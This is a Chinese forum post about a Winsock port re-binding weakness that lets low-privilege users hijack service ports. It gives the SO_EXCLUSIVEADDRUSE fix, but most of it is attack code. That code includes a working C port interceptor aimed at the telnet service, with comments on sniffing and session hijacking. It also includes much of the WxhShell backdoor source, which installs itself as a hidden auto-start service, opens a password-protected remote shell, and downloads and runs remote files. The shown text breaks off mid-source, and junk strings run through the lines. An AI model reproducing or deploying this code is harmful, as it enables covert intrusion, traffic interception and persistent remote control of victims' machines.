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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: uIu0"pv`x  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wU3Q  
03xQ%"TU<  
  saddr.sin_family = AF_INET; x]:mc%4-Z  
dNR4h  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); G2rvi=8=  
Hd:ZE::Q'#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); wR KGJ  
+W}f0@#)<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 l\eq/yg_  
f%af.cR*  
  这意味着什么?意味着可以进行如下的攻击: rRMC< .=  
vDemY"wz  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 S=o/n4@}  
0y(d|;':  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) O/-xkzR*  
Y#G '[N>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Vj_ $%0  
,70|I{,Km  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .R1)i-^  
uZNR]+Yu@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5VI'hxU4Qg  
s=q}XIWK  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 k3Y>QN|q8  
-Fb/GZt|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y ^YrGz.  
hZy"@y3Yq  
  #include l4; LV7Ji  
  #include %n( s;/_  
  #include cNHN h[ C  
  #include    _L"rygit  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ve$P=ZuM  
  int main() {W-PYHZ;  
  { IJ!UKa*o%  
  WORD wVersionRequested; e}kG1C8  
  DWORD ret; 6>l-jTM  
  WSADATA wsaData; ), n?"  
  BOOL val; Yy&0b(m U  
  SOCKADDR_IN saddr; dsh}-'>  
  SOCKADDR_IN scaddr; ukN#>e+L1  
  int err; Y$N|p{Z  
  SOCKET s; 9:P)@UF  
  SOCKET sc; C'{Z?M>  
  int caddsize; D%Wr/6X  
  HANDLE mt; &Z9b&P  
  DWORD tid;   /HLQ  
  wVersionRequested = MAKEWORD( 2, 2 ); 7|2:;5:U  
  err = WSAStartup( wVersionRequested, &wsaData ); Si;e_a  
  if ( err != 0 ) { zdY`c  
  printf("error!WSAStartup failed!\n"); #pf}q+A  
  return -1; hM;EUWv  
  } UZ y  
  saddr.sin_family = AF_INET; NoMEe<  
   S"lcePN  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 XVY^m}pMe  
8gZ5D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); zFOX%q  
  saddr.sin_port = htons(23); ?&?y-&.5-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ct/I85c@P  
  { y&iLhd!p  
  printf("error!socket failed!\n");  X'0A"9  
  return -1; fd(>[RP?  
  } *? c~7ru  
  val = TRUE; I qma vnM#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {|a' =I#2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) h.DQ6!?;s  
  { ieObo foD  
  printf("error!setsockopt failed!\n"); )xi|BqQz  
  return -1; ~!UxmYgO  
  } \A':}<Rj  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; K\ZKVn  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .[~E}O  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^b&aDm~(7  
m0 `wmM  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %F03cI,  
  { /H\ZCIu/7  
  ret=GetLastError(); o'W &gkb9  
  printf("error!bind failed!\n"); @#sQ7eMoy  
  return -1; 1y 6H2  
  } \&SP7~-eq  
  listen(s,2); 3B>!9:w~f  
  while(1) 6MZfoR  
  { [3j]r{0I  
  caddsize = sizeof(scaddr); iE$0-Qe[3  
  //接受连接请求 ~jJu*s$?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); gp;(M~we  
  if(sc!=INVALID_SOCKET) nPKf~|\1{  
  { %uQ^mK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #B54p@.}  
  if(mt==NULL) F> ..eK  
  { WWD\EDnS  
  printf("Thread Creat Failed!\n"); rGx1>xd(k  
  break; (R.k.,z  
  } r0_3`; H  
  } +-5CM0*&  
  CloseHandle(mt); bE0cW'6r  
  } a}MOhM6T  
  closesocket(s); {<&x9<f9  
  WSACleanup(); .0Cpqn,[  
  return 0; ; 5oY)1  
  }   +>{{91mN  
  DWORD WINAPI ClientThread(LPVOID lpParam) ytHa[U  
  { B>gC75  
  SOCKET ss = (SOCKET)lpParam; ^lbOv}C*  
  SOCKET sc; \\BblzGMR  
  unsigned char buf[4096]; Yr"G)i~"Y  
  SOCKADDR_IN saddr; {n{ j*+  
  long num; 7 pp[kv;!G  
  DWORD val; AuSL?kZ4|Y  
  DWORD ret; *|MPYxJ<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 H!HkXm"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   tXwnK[~x  
  saddr.sin_family = AF_INET; J/=b1{d"n  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); v cqL  
  saddr.sin_port = htons(23); Gh|q[s*k  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'Ko T8g\b  
  { 2#ypM9  
  printf("error!socket failed!\n"); c!E+&5|n  
  return -1; KK/~W  
  } _epi[zf@  
  val = 100; ^+!!:J|ra  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^?w6  
  { F~z4T/TN%G  
  ret = GetLastError(); >|mmJ4T  
  return -1; .z)&#2E  
  } 'd'*4 )]k  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E2 #XXc  
  { XP~4jOL]  
  ret = GetLastError(); s:,BcVLx^  
  return -1; ;IE|XR(  
  } NmVc2V]I  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) UjUDP>iz.>  
  { R 8?Xz5  
  printf("error!socket connect failed!\n"); Ez+.tbEA,  
  closesocket(sc); XoL9:s(m~  
  closesocket(ss); ;}WdxWw4  
  return -1; `TBau:ElI  
  } LQ373 j-  
  while(1) <LH(>  
  { !/sXG\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 g/J ^ YT!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 02SFFqm  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $D<LND=o=  
  num = recv(ss,buf,4096,0); _L<IxOZh+  
  if(num>0) FNtcI7  
  send(sc,buf,num,0); j8_WEjG  
  else if(num==0) U2\zl  
  break; ['e8Xz0  
  num = recv(sc,buf,4096,0); Gd%KBb  
  if(num>0) 9!}&&]Q`  
  send(ss,buf,num,0); r^q@rL>   
  else if(num==0) ]FL=E3U  
  break; 3I@j=:(%Y  
  } {H=DeQ  
  closesocket(ss); l0l2fwz(  
  closesocket(sc); Ws{2+G~  
  return 0 ; aU4v-9@U8  
  } o&-q.;MY  
lL/|{A|-j  
P0Z1cN}  
========================================================== [2WJ>2r}6  
VMe~aUd  
下边附上一个代码,,WXhSHELL IJhJfr0)Oo  
|Rf4^vN  
========================================================== $&OoxC  
ag+$qU  
#include "stdafx.h" oEGe y8?  
(ylpH`  
#include <stdio.h> )u7y.o  
#include <string.h> $2~I-[  
#include <windows.h> f4@>7K]9TA  
#include <winsock2.h> 0V }knR.l  
#include <winsvc.h> /n"Ib )M  
#include <urlmon.h> b<u   
Zx@/5!_n.  
#pragma comment (lib, "Ws2_32.lib") MDM/~Qpj_  
#pragma comment (lib, "urlmon.lib") :U$<h  
:} i #ODJ  
#define MAX_USER   100 // 最大客户端连接数 n3SCiSr  
#define BUF_SOCK   200 // sock buffer %ZDo;l+<F6  
#define KEY_BUFF   255 // 输入 buffer H<92tP4M  
*VmJydd  
#define REBOOT     0   // 重启 ]k-<[Z;I,  
#define SHUTDOWN   1   // 关机 *F42GiBZR  
URz$hcI8  
#define DEF_PORT   5000 // 监听端口 :7 Ro9z8  
N<}{oIsZ+  
#define REG_LEN     16   // 注册表键长度 Y_ b;1RN  
#define SVC_LEN     80   // NT服务名长度 B b_R~1 l  
-|"W|K?nq  
// 从dll定义API &-mPj82R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mI_ ?hl?Pv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iaPrkMhd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f| P%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :OT~xU==H  
7A@]t_83Y  
// wxhshell配置信息 @ )owj^sA  
struct WSCFG { 2K0HN  
  int ws_port;         // 监听端口 ]@wee08  
  char ws_passstr[REG_LEN]; // 口令 r+r-[z D(  
  int ws_autoins;       // 安装标记, 1=yes 0=no kmXpj3  
  char ws_regname[REG_LEN]; // 注册表键名 EZlcpCS  
  char ws_svcname[REG_LEN]; // 服务名 )u)]#z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3GqvL_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U bUl]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ? BtWM4Id8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !Bcd\]q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w 4-E@>%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f?}~$agc  
+nU"P  
}; \3a(8Em  
'mx_]b^O  
// default Wxhshell configuration U{6i5;F#H  
struct WSCFG wscfg={DEF_PORT, n%yMf!M .:  
    "xuhuanlingzhe", )L fXb9}  
    1, %%5K%z,R#  
    "Wxhshell", +o^b ,!  
    "Wxhshell", yU`"]6(@[  
            "WxhShell Service", g).k+  
    "Wrsky Windows CmdShell Service", Lx6C fR  
    "Please Input Your Password: ", p^S]O\;M7  
  1, A14}  
  "http://www.wrsky.com/wxhshell.exe", Hyx%FN=  
  "Wxhshell.exe" &.~Xl:lq  
    }; s4h3mypw  
"N\>v#>C  
// 消息定义模块 }A)>sQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =iF}41a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |O =Fz3)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O {u^&V]  
char *msg_ws_ext="\n\rExit."; vl+vzAd  
char *msg_ws_end="\n\rQuit."; 'Pyeb`AXE9  
char *msg_ws_boot="\n\rReboot..."; X-[_g!pV  
char *msg_ws_poff="\n\rShutdown..."; U,q ]  
char *msg_ws_down="\n\rSave to "; "9mJ$us  
gwHNz5 a*V  
char *msg_ws_err="\n\rErr!"; `hJSo?G>  
char *msg_ws_ok="\n\rOK!"; WPLM*]6  
=I. b2e 1z  
char ExeFile[MAX_PATH]; OY$P8y3MY  
int nUser = 0; )Nv$ SH  
HANDLE handles[MAX_USER]; f~nAJ+m=  
int OsIsNt; jF4h/((|EU  
H]>b<Cs  
SERVICE_STATUS       serviceStatus; z@5t7e)!R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; woIcW  
0=  ]RG  
// 函数声明 U6SgV 8  
int Install(void); 57W4E{A  
int Uninstall(void); mqPV Eo  
int DownloadFile(char *sURL, SOCKET wsh); e}e|??'(\  
int Boot(int flag); :"BZK5{8  
void HideProc(void); V-rzn171Q)  
int GetOsVer(void); I|@'2z2  
int Wxhshell(SOCKET wsl); Ip_S8 ;;  
void TalkWithClient(void *cs); GjF'03Z4  
int CmdShell(SOCKET sock); N#<h/  
int StartFromService(void); 1QkAFSl3  
int StartWxhshell(LPSTR lpCmdLine); `72 uf<YQ  
v}w=I}<x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J<8~w; i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *oR`l32O0z  
7I.7%m,g  
// 数据结构和表定义 i&KD)&9b#  
SERVICE_TABLE_ENTRY DispatchTable[] = z=q   
{ qgTN %%"~  
{wscfg.ws_svcname, NTServiceMain}, dfkmIO%9X  
{NULL, NULL} &}sC8,Sr  
};  =FZt  
'J*)o<%  
// 自我安装 f?xc-lX5R  
int Install(void) 49Sq)jd<  
{ G}.t!"  
  char svExeFile[MAX_PATH]; <3]Qrjl ,b  
  HKEY key; 8'c_&\kdv  
  strcpy(svExeFile,ExeFile); -4:L[.2  
=l%"Om*A  
// 如果是win9x系统,修改注册表设为自启动 ZT@a2:&  
if(!OsIsNt) { |cZKj|0>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9H ~{2Un  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )dFTH?Mpo  
  RegCloseKey(key); >we/#C"x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8p3pw=p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8!e1T,:b  
  RegCloseKey(key); =l&A9 >\  
  return 0; $O|J8;"v  
    } Rx e sK  
  } DFvLCGkDk  
} ~ $I2{I#W  
else { [3":7bB 'E  
M[9]t("  
// 如果是NT以上系统,安装为系统服务 O/;$0`~hY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !M]_CPh]  
if (schSCManager!=0) e%#8]$  
{ Q<]~>cd^  
  SC_HANDLE schService = CreateService n~/#~VTVe  
  ( @WuB&uF=d  
  schSCManager, x@EEMO1_"  
  wscfg.ws_svcname, G[V?# 7.  
  wscfg.ws_svcdisp, Epm'u[wV  
  SERVICE_ALL_ACCESS, ;jb+x5t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e<|'   
  SERVICE_AUTO_START, S9Kay'.aJ(  
  SERVICE_ERROR_NORMAL, r{~K8!=oU]  
  svExeFile, "WKE% f  
  NULL, 41swG  
  NULL, 4v#3UG  
  NULL, EFl[u+ 1tx  
  NULL, 8e_ITqV%  
  NULL =A,32&;@N  
  ); V0p@wG3  
  if (schService!=0) A]nDI:pO|  
  { , O=@I  
  CloseServiceHandle(schService); L@rKG~{Xy  
  CloseServiceHandle(schSCManager); aO@zeKg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0-dhGh?.  
  strcat(svExeFile,wscfg.ws_svcname); oh{!u!L`]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z_XI,u}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !/0XoIf"  
  RegCloseKey(key); G6X  
  return 0; m9^ ? p  
    }  5" U8|  
  } N"~P` H![x  
  CloseServiceHandle(schSCManager); 7QiJ1P.z  
} IQK__)  
} D_E^%Ea&`  
Z+"%MkX0  
return 1; ?k4O)?28  
} 7Kx3G{5ja  
yc,Qz.+g  
// 自我卸载 }-{l(8-  
int Uninstall(void) JnX@eBNV  
{ U4*5o~!=S  
  HKEY key; (tGK~!cAv  
gM|X":j  
if(!OsIsNt) { SJVqfi3A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8xUmg&  
  RegDeleteValue(key,wscfg.ws_regname); ;8sEE?C$g  
  RegCloseKey(key); o?P(Fuf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hB:R8Y^?H  
  RegDeleteValue(key,wscfg.ws_regname); Fs:l"5~>1  
  RegCloseKey(key); Jrlc%,pZ  
  return 0; zk]6|i$!I  
  } (,\`?g  
} di6A.N5A  
} s#sr1[9}G  
else { F0Xv84:O  
.a:Oj3=0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B\bIMjXV  
if (schSCManager!=0) {: EQ  
{ <PkDfMx2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )_EQU8D4ug  
  if (schService!=0)  6<A\U/  
  { &..![,)w^!  
  if(DeleteService(schService)!=0) { ?,|_<'$4T  
  CloseServiceHandle(schService); 6X5m1+ Oi^  
  CloseServiceHandle(schSCManager); De|@}@  
  return 0; Pp N+q:(  
  } C78d29  
  CloseServiceHandle(schService); ^sH1YE}0  
  } =1n>vUW+J  
  CloseServiceHandle(schSCManager); &eY$(o-Hw  
} =_cWCl^5  
} hmkcW r`  
<2y~7h:  
return 1; FQi"OZHq  
} RCNqHYR  
V&KH{j/P  
// 从指定url下载文件 N|q:wyS|  
int DownloadFile(char *sURL, SOCKET wsh) =}7wpTc,  
{ @N.W#<IG  
  HRESULT hr; zE.4e&m%Z?  
char seps[]= "/"; fx.FHhVu  
char *token; UeE& 8{=d  
char *file; T4Z("  
char myURL[MAX_PATH]; 'ESy>wA{y<  
char myFILE[MAX_PATH]; )+w0NhJw  
r3ZY` zf  
strcpy(myURL,sURL); #eE:hiu<v  
  token=strtok(myURL,seps); u4o%qK  
  while(token!=NULL) #:Cr'U  
  { 0y'34}  
    file=token; y>8!qVX  
  token=strtok(NULL,seps); Iu0K#.s_  
  } LEVNywk[  
oG@P M+{  
GetCurrentDirectory(MAX_PATH,myFILE); *goi^ Xp  
strcat(myFILE, "\\"); I+O !<S B  
strcat(myFILE, file); vWfC!k-)b  
  send(wsh,myFILE,strlen(myFILE),0); WP^%[?S2  
send(wsh,"...",3,0); X?rJO~5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TdD-# |5  
  if(hr==S_OK) !0Xes0gK0  
return 0; 3 ;.{ O%bX  
else Jc9SHCJ  
return 1; #_7}O0?c3  
{yVi/*;f^  
} D (qT$#  
jy@}$g{  
// 系统电源模块 pSq\3Hp]Q  
int Boot(int flag) `-ENKr]  
{ lu-VBVwR  
  HANDLE hToken; e%'9oAz  
  TOKEN_PRIVILEGES tkp; cx_"{`+e  
tvRa.3  
  if(OsIsNt) { 0e vxRcrzz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s3kh (N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0?,EteR  
    tkp.PrivilegeCount = 1; .M:,pw"S]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *o"F.H{#N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +< BAJWU  
if(flag==REBOOT) { >R!^aJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L?KEe>;r  
  return 0; m U7Ad"  
} "c\T  
else { HEe0dqG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nk-6W4  
  return 0; eMz,DYa/G  
} qLYv=h$,  
  } BzWmV .5  
  else { 9lTA/-  
if(flag==REBOOT) { 7Ox vq^[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %t+V8A  
  return 0; wV56LW  
} B0Z*YsbXL  
else { L4kYF~G:4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r="X\ [on  
  return 0; 5+3Z?|b  
} ?wwY8e?S  
} fXL>L   
l@#X]3h!  
return 1; NJl|/(]v  
} :^iR&`2~  
j1d#\  
// win9x进程隐藏模块 } A# C  
void HideProc(void) 2~]c`/M3  
{ 3wR5:O$H  
+oQ@E<)H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TS3 00F  
  if ( hKernel != NULL ) E?08=$^5%  
  { uvA}7L{UO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8KoPaq   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  KQW  
    FreeLibrary(hKernel); iv;;GW{2  
  } $/wr?  
`hH1rw@7<  
return; 2N)vEUyDV  
} 7%w4?Nv3I  
>656if O  
// 获取操作系统版本 o_G.J4 V  
int GetOsVer(void) T,?^J-h^  
{ ',1rW  
  OSVERSIONINFO winfo; xOu cZ+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 89 (k<m  
  GetVersionEx(&winfo); 5gJQr%pS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SH}O?d\Q:  
  return 1; Y}f%/vus  
  else U_I'Nz!^ t  
  return 0; CB|z{(&N  
} FP9ZOoog  
]i$CE|~  
// 客户端句柄模块 J::SFu=  
int Wxhshell(SOCKET wsl) q(uu;l[  
{ `C!Pe84(  
  SOCKET wsh; @69q// #B  
  struct sockaddr_in client; T@Q.m.iV4  
  DWORD myID; $V\xN(Ed  
BwBv 'p+n  
  while(nUser<MAX_USER) , H[o.r=  
{ VJ1 `&  
  int nSize=sizeof(client); u8[X\f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); has5"Bb  
  if(wsh==INVALID_SOCKET) return 1; msoE8YK&tg  
F` ?pZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Za01z^  
if(handles[nUser]==0) o} %  
  closesocket(wsh); 6s|C:1](b  
else O9>/ WmLe  
  nUser++; CF>NyY:_  
  } iWtWT1n8n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (iS94}-)  
z-,U(0 .  
  return 0; _N<qrH^;  
} V25u'.'v  
7z+NR&' M$  
// 关闭 socket X$st{@}ZB  
void CloseIt(SOCKET wsh) a>Q7Qn  
{ U\b,W&%P  
closesocket(wsh); vO&1F@  
nUser--; ^AEg?[q  
ExitThread(0); ZMx<:0ai  
} 6SidH_&C  
p$"*U[%l  
// 客户端请求句柄 8Ipyr%l  
void TalkWithClient(void *cs) Y8CXin h  
{ 2oq>tnYyV[  
(,<?Pg7v:f  
  SOCKET wsh=(SOCKET)cs; 8}S|iM  
  char pwd[SVC_LEN]; 8"S0E(,mu  
  char cmd[KEY_BUFF]; Wxg|jP$~   
char chr[1]; N:&Gv'`  
int i,j; 0c`wJktWK  
S*\`LBl"nX  
  while (nUser < MAX_USER) { e j`lY  
E7jv  
if(wscfg.ws_passstr) { i-/'F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (sPZ1Fr\o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -EL"Sv?  
  //ZeroMemory(pwd,KEY_BUFF); f:BW{Cij;y  
      i=0; |:EUh  
  while(i<SVC_LEN) { _e?(Gs0BM  
;>YJ}:r"\  
  // 设置超时 gWJLWL2  
  fd_set FdRead; ixU1v~T  
  struct timeval TimeOut; -aec1+o  
  FD_ZERO(&FdRead); 8cW]jm  
  FD_SET(wsh,&FdRead); & d~6MSk  
  TimeOut.tv_sec=8; @s@r5uR9B  
  TimeOut.tv_usec=0; UDxfS4yI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Pu}2%P)p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `[`eg<xj  
XfY]qQP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E7 7Au;TL  
  pwd=chr[0]; $osDw1C  
  if(chr[0]==0xd || chr[0]==0xa) { o{ U= f6  
  pwd=0; -lLq)  
  break; Qy9#(596  
  } OvQG%D}P=  
  i++; G:A` n;E0  
    } uS<&$J H  
X\flx~  
  // 如果是非法用户,关闭 socket JZai{0se  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9v/1>rziE  
} ON !1lS  
eLl ;M4d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RX#:27:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3ne=7Mj  
(Kx3:gs  
while(1) {   5)mn  
)2:d8J\  
  ZeroMemory(cmd,KEY_BUFF);  fkYa  
y5oiH  
      // 自动支持客户端 telnet标准   MF>?! !  
  j=0; C/lp Se  
  while(j<KEY_BUFF) { H!7/U_AH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R{Cj]:Ky  
  cmd[j]=chr[0]; C !uwD  
  if(chr[0]==0xa || chr[0]==0xd) { a N_M  
  cmd[j]=0; NO;+:0n  
  break; .,feRK>3  
  } Vbz$dpT  
  j++; *n}{ )Ef  
    } [{'` |  
 X&(1DE  
  // 下载文件 %m{h1UQQ +  
  if(strstr(cmd,"http://")) { WG1x:,-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !WAbO(l  
  if(DownloadFile(cmd,wsh)) lKwIlp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); OBu$T&  
  else $S3C_..  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _AK-AY  
  } (AV j_Cw  
  else {  rf oLg  
gh3_})8c  
    switch(cmd[0]) { 8BBuYY {  
  $FS j^v]  
  // 帮助 ys09W+B7  
  case '?': { ~ M@8O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _18) XR  
    break; *<]ulR2  
  } Fb.wm   
  // 安装 UG 9uNgzQ/  
  case 'i': { k${25*M!3  
    if(Install()) 0<nk>o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  iCa#OQ  
    else jIg]?4bW[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @ 2Z{en?  
    break; }eSaF@.  
    } CO-9-sQx  
  // 卸载 AvH^9zEE(  
  case 'r': { ioz4kG!  
    if(Uninstall()) r m\]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UJ n3sZ<}  
    else PkMN@JS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `Z0FQ( r_  
    break; K#tT \  
    } z'j4^Xz?%$  
  // 显示 wxhshell 所在路径 Qne@Vf kA  
  case 'p': { bRfac/:}  
    char svExeFile[MAX_PATH]; o4\\q66K  
    strcpy(svExeFile,"\n\r"); 9J$N5  
      strcat(svExeFile,ExeFile); lE'2\kxI?  
        send(wsh,svExeFile,strlen(svExeFile),0); /*i[MB  
    break; KZ>cfv-&a  
    } u{o3  
  // 重启 &M&*3  
  case 'b': { RG0kOw0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -LhO </l  
    if(Boot(REBOOT)) J<yt/V]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o7;lR?  
    else { lvY[E9I0  
    closesocket(wsh); Uyj6Ij_Pj)  
    ExitThread(0); Xq@Bzya  
    } n#|ljC  
    break; _<qe= hie!  
    } #~BsI/m  
  // 关机 whxTCIV  
  case 'd': { #p*D.We  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DS%~'S  
